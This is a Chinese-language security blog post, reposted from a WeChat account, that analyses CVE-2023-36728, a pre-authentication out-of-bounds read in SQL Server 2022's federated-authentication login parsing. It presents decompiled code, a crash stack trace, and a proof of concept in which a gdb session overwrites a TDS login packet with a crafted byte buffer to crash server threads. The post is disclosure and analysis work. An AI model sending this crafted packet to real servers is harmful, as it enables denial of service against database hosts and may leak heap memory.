Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

admin 2023年10月19日12:27:05评论27 views字数 4603阅读15分20秒阅读模式



Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

2023年10月16日,这个是一个sql server的未认证远程dos的bug解析.

环境

SQL Server 版本:sql server 2022.160.4035.4

主机系统:windows 1809

漏洞

在文件sqllang.dll版本中2022.160.4035.4,功能CFedAuthFeatureExtension::ReadIDCRLToken:

v4 = 0;if ( !*a3 ){  *(_DWORD *)a4 = 9;  return 0i64;}v8 = a2 + 4;len1 = *(unsigned int *)a2;v10 = *a3 - 4;if ( *a3 == 4 ){  *(_DWORD *)a4 = 10;}else{  *((_DWORD *)this + 28) = v10 - (len1 + 0x40);  if ( v10 >= (int)len1 + 0x40 )  {    _mm_lfence();    v11 = 2i64 * (((unsigned int)len1 >> 1) + 1);    if ( !is_mul_ok(((unsigned int)len1 >> 1) + 1, 2ui64) )      v11 = -1i64;    v12 = operator new[](v11, *((struct IMemObj **)this + 2), 1, "sql\ntdbms\tds\src\featureext.cpp", 1585, 3u);    *((_QWORD *)this + 7) = v12;    if ( v12 )    {      _mm_lfence();      memcpy_s(*((void *const *)this + 7), len1, v8, len1);
*a3表示数据长度,a2是用户控制的缓冲区。
在第 9 行,如果我们让*a3==3,那么 v10 将是 0xffffffff。在第28行,从a2读取的内容会溢出。

影响

虽然进程不会崩溃(只是线程崩溃),但它会导致额外的问题,例如,如果多次崩溃,则没有人可以登录服务器,即使通过本地SSMS也是如此。并且sql server配置管理器无法重新启动服务。此外,它会溢出从堆中读取数据,可能会通过额外的技巧泄漏重要信息。

崩溃堆栈跟踪

(168c.27a4): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.sqllang!memcpy+0x180:00007ffd`78f382fc c4a17e6f6c02e0  vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??0:019> k # Child-SP          RetAddr               Call Site00 0000008f`407fe9e8 00007ffd`78f33493     sqllang!memcpy+0x18001 0000008f`407fe9f0 00007ffd`79a99658     sqllang!memcpy_s+0x5e02 0000008f`407fea20 00007ffd`79a99525     sqllang!CFedAuthFeatureExtension::ReadIDCRLToken+0xe603 0000008f`407fea80 00007ffd`78f955b9     sqllang!CFedAuthFeatureExtension::ParseFeatureData+0x24504 0000008f`407fead0 00007ffd`78f93f6f     sqllang!CPhysicalConnection::FParseFeatureExtension+0x29e05 0000008f`407fec30 00007ffd`78f93c8e     sqllang!CPhysicalConnection::FCreateLoginRec+0x6dd06 0000008f`407feea0 00007ffd`78f93b0b     sqllang!process_login+0x24e07 0000008f`407fef40 00007ffd`78f46c30     sqllang!process_commands_internal+0x45b08 0000008f`407ff080 00007ffd`7ef088db     sqllang!process_messages+0x1e009 0000008f`407ff230 00007ffd`7ef09298     sqldk!SOS_Task::Param::Execute+0x2320a 0000008f`407ff830 00007ffd`7ef08df4     sqldk!SOS_Scheduler::RunTask+0x1820b 0000008f`407ff930 00007ffd`7ef28293     sqldk!SOS_Scheduler::ProcessTasks+0x3440c 0000008f`407ffa80 00007ffd`7ef2833c     sqldk!Worker::EntryPoint+0x2f90d 0000008f`407ffb60 00007ffd`7ef27f7f     sqldk!ThreadScheduler::RunWorker+0xc0e 0000008f`407ffb90 00007ffd`7ef27c65     sqldk!SystemThreadDispatcher::ProcessWorker+0x5890f 0000008f`407ffc70 00007ffd`b8447e94     sqldk!SchedulerManager::ThreadEntryPoint+0x3cf10 0000008f`407ffd80 00007ffd`babf7ad1     KERNEL32!BaseThreadInitThunk+0x1411 0000008f`407ffdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x210:019> rrax=000001c226000040 rbx=0000000000ccffff rcx=000001c226000040rdx=000001c220329b5e rsi=000001c220329b5e rdi=0000000000ccffffrip=00007ffd78f382fc rsp=0000008f407fe9e8 rbp=00000000ffffffff r8=0000000000ccffff  r9=000001c220ff9b5d r10=00007ffd78f30000r11=0000008f407fe928 r12=0000000000000000 r13=000001c220329b5er14=0000000000ccffff r15=0000000000668000iopl=0         nv up ei pl nz na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206sqllang!memcpy+0x180:00007ffd`78f382fc c4a17e6f6c02e0  vmovdqu ymm5,ymmword ptr [rdx+r8-20h] ds:000001c2`20ff9b3d=??
POC
1.Centos7安装sqlcmd
$ sudo rpm -i msodbcsql17-17.2.0.1-1.x86_64.rpm $ sudo rpm -i mssql-tools-17.2.0.1-1.x86_64.rpm
2.Centos7安装gdb
3.创建一个新的SQL Server 2022(我在本地测试过,如果需要,我可以提供Azure Sql Server测试用例)
4.通过 ( https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/azure-ad-authentication-sql-server-setup-tutorial?view=将 SQL Server 连接到 Azure AD sql-server-ver16 )
5.在SQL Server机器上安装windbg
6.sql server应该是这样的,在这张图中,目标进程是5772
Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)
7.使用windbg附加5772
8.以数百为单位:
$ gdb  --args /opt/mssql-tools/bin/sqlcmd   -S 192.168.150.141,50128 -G -C -U "aabb" -P "a"gdb$ b maingdb$ rgdb$ b sendgdb$ cBreakpoint 2, 0x00007ffff6b30be0 in send () from /lib64/libpthread.so.0gdb$ b SSL_writegdb$ disa 1 2gdb$ cBreakpoint 3, 0x00007fffee1f5740 in SSL_write () from /lib64/libssl.so.10gdb$ set {char[241]}$rsi="x10x01x00xe5x00x00x00x00xddx00x00x00x04x00x00x74x00x10x00x00x00x00x00x07xbbxaax00x00x00x00x00x00xe0x03x00x10xf0x00x00x00x09x04x00x00x5ex00x0ax00x72x00x00x00x72x00x00x00x72x00x0cx00x8ax00x0fx00xd0x00x04x00x8ex00x0ex00xaax00x00x00xaax00x06x00x00xe0x4cx68x0dx9cxb6x00x00x00xb6x00x00x00xb6x00x00x00x00x00x00x00x54x00x65x00x73x00x74x00x43x00x6cx00x69x00x65x00x6ex00x74x00x50x00x79x00x54x00x65x00x73x00x74x00x43x00x6cx00x69x00x65x00x6ex00x74x00x31x00x39x00x32x00x2ex00x31x00x36x00x38x00x2ex00x31x00x35x00x30x00x2ex00x31x00x34x00x31x00x50x00x79x00x20x00x54x00x44x00x53x00x20x00x6cx00x69x00x62x00x72x00x61x00x72x00x79x00x6dx00x61x00x73x00x74x00x65x00x72x00xd4x00x00x00x02x04x00x00x00x00xffxffxcc"gdb$ set $rdx=0xE5gdb$ set $r12=0xe5gdb$ c

9.在 SQL Server 中,windbg:

Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)




感谢您抽出

Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

.

Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

.

Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

来阅读本文

Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

点它,分享点赞在看都在这里


原文始发于微信公众号(Ots安全):Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月19日12:27:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows SQL Server 预身份验证溢出读取 (CVE-2023-36728)https://cn-sec.com/archives/2127266.html

发表评论

匿名网友 填写信息